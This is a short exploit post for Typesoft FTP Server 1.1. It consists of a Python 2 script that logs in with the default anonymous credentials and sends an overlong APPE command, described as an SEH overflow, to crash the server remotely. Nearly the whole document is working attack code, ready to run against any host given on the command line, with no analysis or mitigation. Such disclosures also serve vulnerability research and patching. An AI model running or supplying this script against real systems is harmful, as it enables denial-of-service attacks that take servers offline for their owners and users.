Typesoft FTP Server 1.1 Denial Of Service

`#!/usr/bin/python  
###############################################################################  
# SEH overflow exploiting a vulnerability in Typesoft-FTP APPE command.  
# Date of Discovery: 3/16/2012 (0 Day)  
# Author: Brock Haun  
# Vulnerable Software Download: http://sourceforge.net/projects/ftpserv/  
# Software Version: 1.1  
# Target OS: Windows 7  
# REQUIRES VALID CREDENTIALS. Luckily, anonymous logins are enabled by default.  
###############################################################################  
import socket, sys  
if len(sys.argv)!= 2:  
print '\n\t[*] Usage: ./' + sys.argv[0] + ' <target host>'  
sys.exit(1)  
print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'  
host = sys.argv[1]  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
buffer = 'A../' + '\x41' *100  
print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").'  
s.connect((host,21))  
data = s.recv(1024)  
s.send('USER anonymous' + '\r\n')  
data = s.recv(1024)  
s.send('PASS anonymous' + '\r\n')  
data = s.recv(1024)  
s.send('APPE ' + buffer + '\r\n')  
print '\n\t[*] Done! Target should be unresponsive!'  
s.close()  
  
  
`